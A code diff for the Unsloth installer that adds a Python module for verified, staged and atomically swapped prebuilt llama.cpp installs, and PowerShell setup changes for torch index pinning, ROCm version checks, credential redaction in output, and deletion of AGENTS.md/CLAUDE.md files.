+@dataclass(frozen = True)
+class InstallSelection:
+    """The identity of a chosen prebuilt: everything the marker/fingerprint record."""
+
+    published_repo: str
+    release_tag: str
+    upstream_tag: str | None
+    source_commit: str | None
+    asset: str
+    asset_sha256: str
+    backend: str
+    runtime_line: str | None
+    coverage: dict[str, Any]
+    studio_protocol: str | None
+    # Slim pairing identity (whisper slim bundles ride the llama ggml runtime);
+    # all None for fat installs, never part of the fingerprint.
+    install_kind: str | None = None
+    paired_llama_tag: str | None = None
+    linked_from: str | None = None
+    # Filenames the slim wiring hardlinked beside the server; the sidecar launch
+    # guard verifies exactly these instead of hardcoded per-OS names.
+    linked_libraries: tuple[str, ...] | None = None
+    runtime_wiring_version: int | None = None
+    linked_runtime_directories: tuple[str, ...] | None = None
+
+    def fingerprint(self) -> str:
+        return compute_install_fingerprint(
+            published_repo = self.published_repo,
+            release_tag = self.release_tag,
+            upstream_tag = self.upstream_tag,
+            source_commit = self.source_commit,
+            asset = self.asset,
+            asset_sha256 = self.asset_sha256,
+            backend = self.backend,
+            runtime_line = self.runtime_line,
+            coverage = self.coverage,
+        )
+
+
+def selection_from_artifact(
+    ops: ModuleOps,
+    *,
+    published_repo: str,
+    release_tag: str,
+    manifest: dict[str, Any],
+    artifact: dict[str, Any],
+    backend: str,
+    asset_sha256: str,
+) -> InstallSelection:
+    return InstallSelection(
+        published_repo = published_repo,
+        release_tag = release_tag,
+        upstream_tag = manifest.get("upstream_tag"),
+        source_commit = manifest.get("source_commit"),
+        asset = str(artifact.get("asset")),
+        asset_sha256 = asset_sha256,
+        backend = backend,
+        runtime_line = artifact.get("runtime_line")
+        if isinstance(artifact.get("runtime_line"), str)
+        else None,
+        coverage = ops.artifact_coverage(artifact),
+        studio_protocol = manifest.get("studio_protocol"),
+    )
+
+
+def metadata_path(ops: ModuleOps, install_dir: Path) -> Path:
+    return install_dir / ops.METADATA_FILENAME
+
+
+def write_prebuilt_metadata(ops: ModuleOps, install_dir: Path, selection: InstallSelection) -> None:
+    coverage = selection.coverage
+    payload = {
+        "schema_version": ops.SCHEMA_VERSION,
+        "component": ops.COMPONENT,
+        "published_repo": selection.published_repo,
+        "release_tag": selection.release_tag,
+        "upstream_tag": selection.upstream_tag,
+        "source_commit": selection.source_commit,
+        "asset": selection.asset,
+        "asset_sha256": selection.asset_sha256,
+        "backend": selection.backend,
+        "runtime_line": selection.runtime_line,
+        "sm_coverage": coverage.get("sm_coverage") or coverage.get("sm"),
+        "gfx_coverage": coverage.get("gfx_coverage") or coverage.get("gfx"),
+        "min_os": coverage.get("min_os"),
+        "studio_protocol": selection.studio_protocol,
+        "install_fingerprint": selection.fingerprint(),
+        "installed_at_utc": time.strftime("%Y-%m-%dT%H:%M:%SZ", time.gmtime()),
+    }
+    if selection.install_kind == "slim":
+        # Additive slim fields; fat markers keep the legacy payload exactly.
+        payload["install_kind"] = "slim"
+        payload["paired_llama_tag"] = selection.paired_llama_tag
+        payload["linked_from"] = selection.linked_from
+        if selection.linked_libraries is not None:
+            payload["linked_libraries"] = list(selection.linked_libraries)
+        if selection.runtime_wiring_version is not None:
+            payload["runtime_wiring_version"] = selection.runtime_wiring_version
+        if selection.linked_runtime_directories is not None:
+            payload["linked_runtime_directories"] = list(selection.linked_runtime_directories)
+    ops.metadata_path(install_dir).write_text(
+        json.dumps(payload, indent = 2) + "\n", encoding = "utf-8"
+    )
+
+
+def load_prebuilt_metadata(ops: ModuleOps, install_dir: Path) -> dict[str, Any] | None:
+    path = ops.metadata_path(install_dir)
+    if not path.is_file():
+        return None
+    try:
+        payload = json.loads(path.read_text(encoding = "utf-8"))
+    except (json.JSONDecodeError, OSError):
+        return None
+    return payload if isinstance(payload, dict) else None
+
+
+def existing_install_matches(
+    ops: ModuleOps, install_dir: Path, host: Any, selection: InstallSelection
+) -> bool:
+    """True iff the marker records this exact selection and the server binary is on disk."""
+    metadata = ops.load_prebuilt_metadata(install_dir)
+    if metadata is None:
+        return False
+    if not ops.installed_server_path(install_dir, host).is_file():
+        return False
+    recorded = metadata.get("install_fingerprint")
+    if not isinstance(recorded, str) or recorded != selection.fingerprint():
+        return False
+    ops.log(
+        f"existing {ops.COMPONENT} install already matches {selection.release_tag} "
+        f"({selection.backend}); nothing to do"
+    )
+    return True
+
+
+# ── Install tree assembly and staged activation ──
+def locate_server_in_tree(ops: ModuleOps, root: Path, host: Any) -> Path:
+    name = ops.server_binary_name(host)
+    matches = sorted(root.rglob(name))
+    if not matches:
+        raise PrebuiltFallback(f"archive did not contain a {name} binary")
+    return matches[0]
+
+
+def assemble_install_tree(ops: ModuleOps, bundle_root: Path, staged_root: Path, host: Any) -> Path:
+    """Lay out staged_root as a full install: <runtime bin dir>/<server + libs>.
+
+    Everything beside the server in the archive (shared libs, backend kernel
+    subdirs, license/build-info) is co-located into the canonical bin dir so the
+    server's RUNPATH=$ORIGIN resolves its libs.
+    """
+    bin_dir = ops.runtime_bin_dir(staged_root, host)
+    bin_dir.mkdir(parents = True, exist_ok = True)
+    for entry in sorted(bundle_root.iterdir()):
+        dest = bin_dir / entry.name
+        if entry.is_dir() and not entry.is_symlink():
+            shutil.copytree(entry, dest, symlinks = True)
+        else:
+            shutil.copy2(entry, dest, follow_symlinks = False)
+    server = bin_dir / ops.server_binary_name(host)
+    if not server.exists():
+        raise PrebuiltFallback(f"staged install is missing the {ops.COMPONENT} server binary")
+    if not host.is_windows:
+        os.chmod(server, server.stat().st_mode | 0o111)
+    return server
+
+
+def swap_into_place(staged_root: Path, install_dir: Path) -> None:
+    """Atomically replace install_dir with staged_root (same filesystem), with rollback."""
+    install_dir.parent.mkdir(parents = True, exist_ok = True)
+    backup: Path | None = None
+    try:
+        if install_dir.exists():
+            backup = install_dir.parent / f".{install_dir.name}.old-{os.getpid()}"
+            os.replace(install_dir, backup)
+        os.replace(staged_root, install_dir)
+    except OSError as exc:
+        restored = False
+        if backup is not None and backup.exists() and not install_dir.exists():
+            try:
+                os.replace(backup, install_dir)
+                restored = True
+            except OSError as rollback_exc:
+                raise PrebuiltFallback(
+                    "prebuilt activation failed and the previous install could not be restored "
+                    f"({exc}; rollback: {rollback_exc})"
+                ) from rollback_exc
+        if is_busy_lock_error(exc):
+            detail = "; restored the previous install" if restored else ""
+            raise BusyInstallConflict(
+                f"the existing install appears to still be in use{detail} ({exc})"
+            ) from exc
+        raise
+    if backup is not None:
+        shutil.rmtree(backup, ignore_errors = True)
+
+
+def validate_staged_server(ops: ModuleOps, staged_root: Path, host: Any) -> None:
+    """Optional pre-activate smoke test, gated off by default (the component's
+    _RUN_STAGED_PREBUILT_VALIDATION switch)."""
+    if not ops._RUN_STAGED_PREBUILT_VALIDATION:
+        return
+    server = ops.installed_server_path(staged_root, host)
+    env = os.environ.copy()
+    bin_dir = str(ops.runtime_bin_dir(staged_root, host))
+    for var in ("LD_LIBRARY_PATH", "DYLD_LIBRARY_PATH"):
+        env[var] = bin_dir + (os.pathsep + env[var] if env.get(var) else "")
+    try:
+        result = subprocess.run(
+            [str(server), "--help"],
+            capture_output = True,
+            text = True,
+            timeout = 60,
+            env = env,
+            **ops.windows_hidden_subprocess_kwargs(),
+        )
+    except (OSError, subprocess.SubprocessError) as exc:
+        raise PrebuiltFallback(f"staged {ops.COMPONENT} server failed to launch: {exc}") from exc
+    if result.returncode != 0:
+        raise PrebuiltFallback(
+            f"staged {ops.COMPONENT} server --help exited {result.returncode}: "
+            f"{result.stderr.strip()}"
+        )
+
+
+def windows_hidden_subprocess_kwargs() -> dict[str, object]:
+    """Return Windows-only subprocess kwargs that suppress console windows."""
+    if sys.platform != "win32":
+        return {}
+
+    kwargs: dict[str, object] = {}
+    create_no_window = getattr(subprocess, "CREATE_NO_WINDOW", 0)
+    if create_no_window:
+        kwargs["creationflags"] = create_no_window
+
+    startupinfo_factory = getattr(subprocess, "STARTUPINFO", None)
+    startf_use_showwindow = getattr(subprocess, "STARTF_USESHOWWINDOW", 0)
+    sw_hide = getattr(subprocess, "SW_HIDE", 0)
+    if startupinfo_factory is not None and startf_use_showwindow:
+        startupinfo = startupinfo_factory()
+        startupinfo.dwFlags |= startf_use_showwindow
+        startupinfo.wShowWindow = sw_hide
+        kwargs["startupinfo"] = startupinfo
+
+    return kwargs
+
+
+def install_from_bundle(
+    ops: ModuleOps, install_dir: Path, host: Any, bundle: ReleaseBundle, selection: InstallSelection
+) -> None:
+    staging_root = install_dir.parent / ops.INSTALL_STAGING_ROOT_NAME
+    staging_root.mkdir(parents = True, exist_ok = True)
+    staging = Path(tempfile.mkdtemp(prefix = f"{install_dir.name}.staging-", dir = staging_root))
+    try:
+        archive_path = staging / selection.asset
+        url = ops.asset_download_url(bundle, selection.asset)
+        ops.log(f"downloading {url}")
+        ops.download_file_verified(
+            url, archive_path, expected_sha256 = selection.asset_sha256, label = selection.asset
+        )
+        extract_dir = staging / "extracted"
+        ops.extract_archive(archive_path, extract_dir)
+
+        server = ops.locate_server_in_tree(extract_dir, host)
+        bundle_root = server.parent
+
+        staged_root = staging / "staged"
+        ops.assemble_install_tree(bundle_root, staged_root, host)
+        # Component hook (default no-op): slim whisper wires the llama ggml
+        # runtime here so staged validation sees the final linked tree; a returned
+        # selection (with the wired filenames) supersedes the input so the marker
+        # records what was actually linked.
+        updated = ops.prepare_runtime_payload(staged_root, host, selection)
+        if updated is not None:
+            selection = updated
+        ops.validate_staged_server(staged_root, host)
+        ops.write_prebuilt_metadata(staged_root, selection)
+        ops._swap_into_place(staged_root, install_dir)
+    finally:
+        shutil.rmtree(staging, ignore_errors = True)
+        try:
+            staging_root.rmdir()
+        except OSError:
+            pass
+
+
+def plan_selection(
+    ops: ModuleOps,
+    host: Any,
+    bundle: ReleaseBundle,
+    *,
+    published_repo: str,
+    backend: str,
+    checksums: dict[str, str],
+) -> InstallSelection:
+    """Choose an artifact (with the component's fallback policy) and resolve its
+    trusted sha256 from the release checksum index."""
+    artifact, effective_backend, _used_fallback = ops.select_artifact_with_fallback(
+        bundle.manifest, host, backend
+    )
+    asset = str(artifact.get("asset"))
+    manifest_sha256 = artifact.get("sha256") if isinstance(artifact.get("sha256"), str) else None
+    expected_sha = ops.expected_sha256_for(
+        checksums,
+        asset,
+        manifest_sha256 = manifest_sha256,
+    )
+    return ops.selection_from_artifact(
+        published_repo = published_repo,
+        release_tag = bundle.release_tag,
+        manifest = bundle.manifest,
+        artifact = artifact,
+        backend = effective_backend,
+        asset_sha256 = expected_sha,
+    )
+
+
+def install_prebuilt(
+    ops: ModuleOps,
+    install_dir: Path,
+    *,
+    published_repo: str,
+    published_release_tag: str | None = None,
+    backend: str | None = "auto",
+    cpu_fallback: bool = False,
+    force: bool = False,
+    host: Any = None,
+) -> int:
+    if host is None:
+        host = ops.detect_host()
+    effective_backend = ops.resolve_backend(host, backend, cpu_fallback = cpu_fallback)
+    os_token, arch_token = ops.host_platform_tokens(host)
+    ops.log(
+        f"target {ops.COMPONENT} from {published_repo} "
+        f"({os_token}-{arch_token}, backend {effective_backend})"
+    )
+
+    bundle, checksums = ops.fetch_release_for_install(
+        published_repo, published_release_tag = published_release_tag
+    )
+    selection = ops.plan_selection(
+        host,
+        bundle,
+        published_repo = published_repo,
+        backend = effective_backend,
+        checksums = checksums,
+    )
+
+    return install_selected_prebuilt(
+        ops,
+        install_dir,
+        host = host,
+        bundle = bundle,
+        selection = selection,
+        force = force,
+    )
+
+
+def install_selected_prebuilt(
+    ops: ModuleOps,
+    install_dir: Path,
+    *,
+    host: Any,
+    bundle: ReleaseBundle,
+    selection: InstallSelection,
+    force: bool,
+) -> int:
+    """Validate and activate an already selected release plan.
+
+    Components that need to examine more than one published release can keep
+    release selection component-specific while sharing the lock, idempotency,
+    atomic activation, and post-install verification path.
+    """
+
+    if not force and ops.existing_install_matches(install_dir, host, selection):
+        return 0
+
+    with ops.install_lock(ops.install_lock_path(install_dir)):
+        # Re-check under the lock: a concurrent run may have just finished.
+        if not force and ops.existing_install_matches(install_dir, host, selection):
+            return 0
+        ops._install_from_bundle(install_dir, host, bundle, selection)
+
+    server = ops.installed_server_path(install_dir, host)
+    if not server.is_file():
+        raise PrebuiltFallback(f"post-install verification failed: {server} is missing")
+    ops.log(
+        f"installed {ops.COMPONENT} {bundle.release_tag} " f"({selection.backend}) at {install_dir}"
+    )
+    return 0
+
+
+def resolve_prebuilt(
+    ops: ModuleOps,
+    host: Any,
+    *,
+    published_repo: str,
+    published_release_tag: str | None,
+    backend: str | None,
+    cpu_fallback: bool,
+) -> dict[str, Any]:
+    """Host-aware "is a prebuilt available" probe. No archive download."""
+    effective_backend = ops.resolve_backend(host, backend, cpu_fallback = cpu_fallback)
+    try:
+        bundle, _checksums = ops.fetch_release_for_install(
+            published_repo, published_release_tag = published_release_tag
+        )
+        artifact, resolved_backend, used_fallback = ops.select_artifact_with_fallback(
+            bundle.manifest, host, effective_backend
+        )
+    except PrebuiltFallback:
+        return {"prebuilt_available": False, "repo": published_repo}
+    os_token, arch_token = ops.host_platform_tokens(host)
+    payload = {
+        "prebuilt_available": True,
+        "repo": published_repo,
+        "release_tag": bundle.release_tag,
+        "upstream_tag": bundle.manifest.get("upstream_tag"),
+        "backend": resolved_backend,
+        "requested_backend": effective_backend,
+        "cpu_fallback": used_fallback,
+        "asset": str(artifact.get("asset")),
+        "os": os_token,
+        "arch": arch_token,
+        "runtime_line": artifact.get("runtime_line"),
+    }
+    # Component hook (default none): whisper adds install_kind slim|fat. The JSON
+    # emitter sorts keys, so an appended field can't perturb the legacy key order.
+    payload.update(ops.resolver_payload_extra(artifact))
+    return payload
+
+
+def prepare_runtime_payload(staged_root: Path, host: Any, selection: InstallSelection) -> Any:
+    """Post-assemble hook; the core stages nothing extra. Components override it
+    to wire external runtime files into the staged bin dir (whisper slim hardlinks
+    the llama install's ggml libraries) before validation, and may return an
+    updated InstallSelection for the marker to record instead."""
+    return None
+
+
+def resolver_payload_extra(artifact: dict[str, Any]) -> dict[str, Any]:
+    """Additive --resolve-prebuilt payload fields; the core adds none."""
+    return {}
+
+
+def installed_server_path(ops: ModuleOps, install_dir: Path, host: Any) -> Path:
+    return ops.runtime_bin_dir(install_dir, host) / ops.server_binary_name(host)
+
+
+# Underscored aliases so ops lookups that mirror the installer modules' private
+# names still resolve for a descriptor-only component.
+_download_host_latest_release_tag = download_host_latest_release_tag
+_download_host_json = fetch_download_host_json
+_resolve_release_via_download_host = resolve_release_via_download_host
+_install_from_bundle = install_from_bundle
+_swap_into_place = swap_into_place
+
+
+def emit_resolver_output(payload: dict[str, Any], *, output_format: str) -> None:
+    if output_format == "json":
+        print(json.dumps(payload, sort_keys = True))
+        return
+    if "asset" in payload and payload.get("prebuilt_available"):
+        print(payload["asset"])
+        return
+    print(json.dumps(payload, sort_keys = True))
diff --git a/studio/setup.ps1 b/studio/setup.ps1
index bb1e88cc4e..c6932121c9 100644
--- a/studio/setup.ps1
+++ b/studio/setup.ps1
@@ -32,6 +32,10 @@ $PackageDir = Split-Path -Parent $ScriptDir
 # (no matching GitHub release), forces a source build, and causes HTTP 422
 # errors. Only use "master" temporarily when the latest release is missing
 # support for a new model architecture.
+#
+# UNSLOTH_LLAMA_CPP_BACKEND : "auto" (default) or "cpu". When "cpu", forces
+# the CPU-only prebuilt bundle on GPU hosts. Fixes Intel iGPU Vulkan
+# crashes (#7213).
 $DefaultLlamaPrForce = ""
 $DefaultLlamaSource = "https://github.com/ggml-org/llama.cpp"
 $DefaultLlamaTag = "latest"
@@ -203,6 +207,31 @@ function New-UnslothTemporaryFile {
     return Get-Item -LiteralPath $tempPath
 }
 
+function Remove-AgentInstructionFiles {
+    param([string[]]$Roots)
+
+    foreach ($root in $Roots) {
+        if (-not $root) { continue }
+        $item = Get-Item -LiteralPath $root -Force -ErrorAction SilentlyContinue
+        if (-not $item -or -not $item.PSIsContainer) { continue }
+        if ($item.Attributes -band [System.IO.FileAttributes]::ReparsePoint) { continue }
+        $pending = New-Object System.Collections.Stack
+        $pending.Push($item)
+        while ($pending.Count -gt 0) {
+            $current = $pending.Pop()
+            foreach ($child in @(Get-ChildItem -LiteralPath $current.FullName -Force -ErrorAction SilentlyContinue)) {
+                if ($child.PSIsContainer) {
+                    if (-not ($child.Attributes -band [System.IO.FileAttributes]::ReparsePoint)) {
+                        $pending.Push($child)
+                    }
+                } elseif ($child.Name -in @("AGENTS.md", "CLAUDE.md")) {
+                    Remove-Item -LiteralPath $child.FullName -Force -ErrorAction SilentlyContinue
+                }
+            }
+        }
+    }
+}
+
 function Get-InstalledLlamaPrebuiltRelease {
     param([string]$InstallDir)
 
@@ -297,7 +326,7 @@ function Write-CudaDriverToolkitMismatch {
     $driverMajor = $DriverMaxCuda.Split('.')[0]
     substep "CUDA Toolkit $ToolkitVersion is a major-version mismatch: toolkit major $toolkitMajor exceeds driver CUDA major $driverMajor ($DriverMaxCuda)." $Color
     substep "Update the NVIDIA GPU driver to run CUDA Toolkit $ToolkitVersion, or install a CUDA $driverMajor.x toolkit." $Color
-    substep "Or let Studio use the prebuilt CUDA bundle; it does not need the local toolkit." $Color
+    substep "Or let Unsloth use the prebuilt CUDA bundle; it does not need the local toolkit." $Color
 }
 
 # Detect CUDA Compute Capability via nvidia-smi.
@@ -402,6 +431,167 @@ function Get-PytorchCudaTag {
     return "cu126"
 }
 
+# Trim trailing slashes from the URL PATH only, preserving ?query / #fragment: a whole-URL
+# TrimEnd corrupts a token ending in "/", a single strip leaves .../cu128// empty. Shared.
+function Trim-IndexPathSlashes {
+    param([string]$Url)
+    $value = $Url.Trim()
+    $idx = $value.IndexOfAny([char[]]@('?', '#'))
+    if ($idx -lt 0) {
+        return $value.TrimEnd('/')
+    }
+    return $value.Substring(0, $idx).TrimEnd('/') + $value.Substring($idx)
+}
+
+# Explicit torch-index pin (UNSLOTH_TORCH_INDEX_URL / _FAMILY), shared by the stale-venv check
+# and install selection so a pinned index wins over GPU probing (parity with the other
+# installers). URL is verbatim; _FAMILY is the leaf joined to the mirror base.
+function Get-PinnedTorchIndexUrl {
+    if (-not [string]::IsNullOrWhiteSpace($env:UNSLOTH_TORCH_INDEX_URL)) {
+        return (Trim-IndexPathSlashes $env:UNSLOTH_TORCH_INDEX_URL)
+    }
+    if (-not [string]::IsNullOrWhiteSpace($env:UNSLOTH_TORCH_INDEX_FAMILY)) {
+        $base = if ($env:UNSLOTH_PYTORCH_MIRROR) { $env:UNSLOTH_PYTORCH_MIRROR.TrimEnd('/') } else { "https://download.pytorch.org/whl" }
+        return "$base/$($env:UNSLOTH_TORCH_INDEX_FAMILY.Trim().Trim('/'))"
+    }
+    return $null
+}
+
+# Last path segment of a wheel index URL, query/fragment dropped first so a token-authenticated
+# pin (.../cu128?token=x) classifies as cu128 (else it reinstalls every update). Classification
+# only. Shared with the py / install.sh leaf extractors.
+function Get-TorchIndexLeaf {
+    param([string]$Url)
+    if ([string]::IsNullOrWhiteSpace($Url)) { return $null }
+    $path = ($Url -split '[?#]', 2)[0]
+    if ([string]::IsNullOrWhiteSpace($path)) { return $null }
+    return ($path.TrimEnd('/') -split '/')[-1].ToLowerInvariant()
+}
+
+# Redact index-URL credentials (userinfo + ?query= + #fragment) from captured installer
+# output before printing on failure; uv/pip errors echo the failing --index-url verbatim.
+# Mirrors the other installers. Verbose mode streams uncaptured, so it isn't redacted.
+function Redact-InstallOutput {
+    param([string]$Text)
+    if (-not $Text) { return $Text }
+    $Text = $Text -replace '(https?://)[^/@\s`]+@', '$1<redacted>@'
+    $Text = $Text -replace '([?&][^=\s&`]+)=[^&#\s`]+', '$1=<redacted>'
+    # A #token=... fragment is as sensitive as a query; URL-anchored.
+    return $Text -replace '(https?://[^\s`#]+)#[^\s`]+', '$1#<redacted>'
+}
+
+# AMD per-arch leaves needing the torch 2.11 floor (the _grouped_mm <2.11 bug). MUST match
+# the install-spec path below and the other installers; other leaves ship <2.11 and stay default.
+function Test-RocmGfx211Leaf {
+    param([string]$Leaf)
+    return @('gfx120x-all', 'gfx1151', 'gfx1150') -contains $Leaf
+}
+
+# rocmX.Y versions KNOWN to ship torch 2.11: rocm7.2 only today. Do NOT floor an unknown newer
+# rocm speculatively. MUST match _ROCM_KNOWN_TORCH211_VERSIONS and the rocm7.2 leaf elsewhere.
+function Test-RocmKnown211Version {
+    param([int]$Major, [int]$Minor)
+    return ($Major -eq 7 -and $Minor -eq 2)
+}
+
+# True only for a real CUDA family leaf: "cu" + digits (cu118, cu128, ...). A bare -like 'cu*'
+# would match "custom"/"current" and rebuild the venv every run. Mirrors _is_cuda_family_leaf.
+function Test-CudaFamilyLeaf {
+    param([string]$Leaf)
+    if ([string]::IsNullOrWhiteSpace($Leaf)) { return $false }
+    # EXACT cu+digits: cu128-private routes through the unknown-leaf path instead.
+    return $Leaf -match '^cu[0-9]+$'
+}
+
+# True only for a real pip ROCm family leaf: EXACT rocm<digits>[.<digits>] or a gfx leaf. A leaf
+# that merely STARTS with rocm (rocm-rel-7.2.1, rocm7.2-private) is a custom pin the verbatim
+# path owns, so anchor the match. Mirrors _is_pip_rocm_family_leaf / install.sh.
+function Test-PipRocmFamilyLeaf {
+    param([string]$Leaf)
+    if ([string]::IsNullOrWhiteSpace($Leaf)) { return $false }
+    # gfx must be followed by a digit (an architecture leaf); gfx-private is custom.
+    return ($Leaf -match '^gfx[0-9]') -or ($Leaf -match '^rocm[0-9]+(\.[0-9]+)?$')
+}
+
+# Stale-venv ROCm comparison for a pinned gfx*/rocm* index. Returns @{ Expected; Installed } so
+# the caller rebuilds when they differ. Mirrors _rocm_pin_family_mismatch (same rocmX.Y / gfx
+# cases). An untagged (no +rocm) wheel never satisfies a ROCm pin -> stale.
+function Get-RocmPinStaleTags {
+    param([string]$PinLeaf, [string]$TorchVersion)
+    $_pinRocm = [regex]::Match($PinLeaf, '^rocm(\d+)\.(\d+)')
+    $_pinVer = if ($_pinRocm.Success) { "$($_pinRocm.Groups[1].Value).$($_pinRocm.Groups[2].Value)" } else { $null }
+    # The family classifier accepts a major-only rocm<d> leaf too (rocm7).
+    $_pinMajorOnly = [regex]::Match($PinLeaf, '^rocm(\d+)$')
+    # Installed rocm version and whether the wheel is a per-arch (three-part) build.
+    $_instRocm = [regex]::Match($TorchVersion, '\+rocm(\d+)\.(\d+)')
+    $_instVer = if ($_instRocm.Success) { "$($_instRocm.Groups[1].Value).$($_instRocm.Groups[2].Value)" } else { $null }
+    $_instPerArch = [regex]::IsMatch($TorchVersion, '\+rocm\d+\.\d+\.\d+')
+    # A ROCm build MUST carry a +rocm tag; an untagged wheel can't satisfy any ROCm pin.
+    $_instHasRocm = [regex]::IsMatch($TorchVersion, '\+rocm')
+    $_instRel = [regex]::Match($TorchVersion, '^(\d+)\.(\d+)')
+    $_instIs211 = $false
+    if ($_instRel.Success) {
+        $_instIs211 = ([int]$_instRel.Groups[1].Value -gt 2) -or ([int]$_instRel.Groups[1].Value -eq 2 -and [int]$_instRel.Groups[2].Value -ge 11)
+    }
+
+    if ($PinLeaf -like 'gfx*') {
+        if (Test-RocmGfx211Leaf $PinLeaf) {
+            # Expect the AMD per-arch (three-part) 2.11 wheel: satisfied only when BOTH
+            # a 2.11 release AND a three-part rocm tag are installed.
+            $installed = if ($_instIs211 -and $_instPerArch) { "rocm-perarch(torch>=2.11)" } else { "rocm-generic-or-old" }
+            return @{ Expected = "rocm-perarch(torch>=2.11)"; Installed = $installed }
+        }
+        # Non-2.11 gfx leaf (<2.11 spec): stale on an untagged wheel or a 2.11+ build.
+        $installed = if (-not $_instHasRocm) { "not-rocm" } elseif ($_instIs211) { "rocm(torch>=2.11)" } else { "rocm(torch<2.11)" }
+        return @{
+            Expected  = "rocm(torch<2.11)"
+            Installed = $installed
+        }
+    }
+
+    # Major-only rocm pin (rocm7): compare majors only -- a +rocm6.4 wheel under a rocm7
+    # pin is stale, any +rocm7.x wheel satisfies it (no pinned minor to compare, and the
+    # 2.11-line fallback below would invert both verdicts). Mirrors _rocm_pin_family_mismatch.
+    if ($_pinMajorOnly.Success) {
+        $_pinMaj = [int]$_pinMajorOnly.Groups[1].Value
+        if ($_instVer) {
+            $_instMaj = [int]$_instRocm.Groups[1].Value
+            $expected = if ($_instMaj -eq $_pinMaj) { "rocm$_instVer" } else { "rocm$_pinMaj.x" }
+            return @{ Expected = $expected; Installed = "rocm$_instVer" }
+        }
+        # Untagged wheel never satisfies a ROCm pin; a +rocm tag with an unreadable
+        # version is accepted (matches the lenient unreadable fallback below).
+        $installed = if ($_instHasRocm) { "rocm" } else { "not-rocm" }
+        return @{ Expected = "rocm"; Installed = $installed }
+    }
+
+    # rocmX.Y pin.
+    if ($_pinVer -and $_instVer) {
+        # Both readable: exact compare. When they match AND the pin is KNOWN-2.11, the
+        # installed release must also be 2.11 (a +rocm7.2 wheel drifted to 2.12 shares the
+        # tag but violates the spec), so fold the release into the tag. Mirrors _rocm_pin_family_mismatch.
+        $_pinKnown211 = Test-RocmKnown211Version -Major ([int]$_pinRocm.Groups[1].Value) -Minor ([int]$_pinRocm.Groups[2].Value)
+        $_instOn211 = $_instRel.Success -and [int]$_instRel.Groups[1].Value -eq 2 -and [int]$_instRel.Groups[2].Value -eq 11
+        if ($_pinKnown211 -and -not $_instOn211) {
+            return @{ Expected = "rocm$_pinVer(torch2.11)"; Installed = "rocm$_instVer(torch-off-2.11)" }
+        }
+        return @{ Expected = "rocm$_pinVer"; Installed = "rocm$_instVer" }
+    }
+    $_pinNeeds211 = $false
+    if ($_pinRocm.Success) {
+        # Only KNOWN-2.11 rocm (rocm7.2) is on the 2.11 line (no speculative floor).
+        # Matches _ROCM_KNOWN_TORCH211_VERSIONS.
+        $_pinNeeds211 = Test-RocmKnown211Version -Major ([int]$_pinRocm.Groups[1].Value) -Minor ([int]$_pinRocm.Groups[2].Value)
+    }
+    # Fallback (installed rocm version unreadable): compare on the 2.11 line; an untagged
+    # wheel never satisfies a rocmX.Y pin -> stale.
+    $installed = if (-not $_instHasRocm) { "not-rocm" } elseif ($_instIs211) { "rocm(torch>=2.11)" } else { "rocm(torch<2.11)" }
+    return @{
+        Expected  = if ($_pinNeeds211) { "rocm(torch>=2.11)" } else { "rocm(torch<2.11)" }
+        Installed = $installed
+    }
+}
+
 # VS generator -> MSBuild BuildCustomizations dir; toolset tracks the VS major
 # (18->v180, 17->v170), defaulting to v170 when unparseable.
 function Get-VcBuildCustomizationsDir {
@@ -784,11 +974,14 @@ function Invoke-SetupCommand {
             # Merge stderr into stdout so progress/warning output stays visible
             # without flipping $? on successful native commands (PS 5.1 treats
             # stderr records as errors that set $? = $false even on exit code 0).
-            & $Command 2>&1 | Out-Host
+            # Redact per record: uv/pip echo index URLs (credentials and all) in
+            # their errors, and verbose mode must not bypass the quiet path's
+            # redaction. ForEach-Object/Out-Host leave $LASTEXITCODE untouched.
+            & $Command 2>&1 | ForEach-Object { Redact-InstallOutput "$_" } | Out-Host
         } else {
             $output = & $Command 2>&1 | Out-String
             if ($LASTEXITCODE -ne 0) {
-                Write-Host $output -ForegroundColor Red
+                Write-Host (Redact-InstallOutput $output) -ForegroundColor Red
             }
         }
         return [int]$LASTEXITCODE
@@ -912,13 +1105,13 @@ function Show-NpmRegistryHint {
     Write-Host ""
     step "frontend" "registry.npmjs.org looks blocked (corporate firewall/proxy?)" "Yellow"
     if ($mirror) {
-        substep "Studio pins the public npm registry; your mirror is being ignored."
+        substep "Unsloth pins the public npm registry; your mirror is being ignored."
         substep "Detected a registry in your npm config:"
         substep "  $mirror"
-        substep "Re-run pointing Studio at it:"
+        substep "Re-run pointing Unsloth at it:"
         substep "  `$env:UNSLOTH_NPM_REGISTRY='$mirror'; .\install.ps1 --local"
     } else {
-        substep "If you use a private mirror/proxy, point Studio at it and re-run:"
+        substep "If you use a private mirror/proxy, point Unsloth at it and re-run:"
         substep "  `$env:UNSLOTH_NPM_REGISTRY='https://your-mirror.example/api/npm/'; .\install.ps1 --local"
     }
     substep "(min-release-age and save-exact stay enforced.)"
@@ -1045,7 +1238,7 @@ if (-not $HasNvidiaSmi) {
 }
 # ── Helper: run amd-smi without triggering a UAC elevation prompt ──
 # amd-smi on Windows auto-elevates to read GPU/APU memory, surfacing a confusing
-# DiskPart UAC prompt mid-install (Studio backend amd.py hits the same). RunAsInvoker
+# DiskPart UAC prompt mid-install (Unsloth backend amd.py hits the same). RunAsInvoker
 # forces it (and helpers it spawns) to run un-elevated; on failure the WMI name ->
 # gfx fallback still resolves the arch.
 function Invoke-AmdSmiNoElevate {
@@ -1107,7 +1300,7 @@ if (-not $HasNvidiaSmi) {
         if ([string]::IsNullOrWhiteSpace($HipinfoPath)) { return $false }
         # VenvDir/VIRTUAL_ENV can be unset this early (the update flow probes before
         # VenvDir is set), so also derive the venv from the setup python + default
-        # Studio home, else the venv hipInfo isn't caught.
+        # Unsloth home, else the venv hipInfo isn't caught.
         $venvRoots = @()
         if ($env:VIRTUAL_ENV) { $venvRoots += $env:VIRTUAL_ENV }
         $vd = Get-Variable -Name VenvDir -ValueOnly -ErrorAction SilentlyContinue
@@ -1116,7 +1309,7 @@ if (-not $HasNvidiaSmi) {
             try { $venvRoots += (Split-Path -Parent (Split-Path -Parent $env:UNSLOTH_SETUP_PYTHON)) } catch {}
         }
         if ($env:USERPROFILE) { $venvRoots += (Join-Path $env:USERPROFILE ".unsloth\studio\unsloth_studio") }
-        # A custom Studio home (UNSLOTH_STUDIO_HOME / STUDIO_HOME alias) moves the
+        # A custom Unsloth home (UNSLOTH_STUDIO_HOME / STUDIO_HOME alias) moves the
         # venv off the default path; seed it too or its hipInfo escapes the filter.
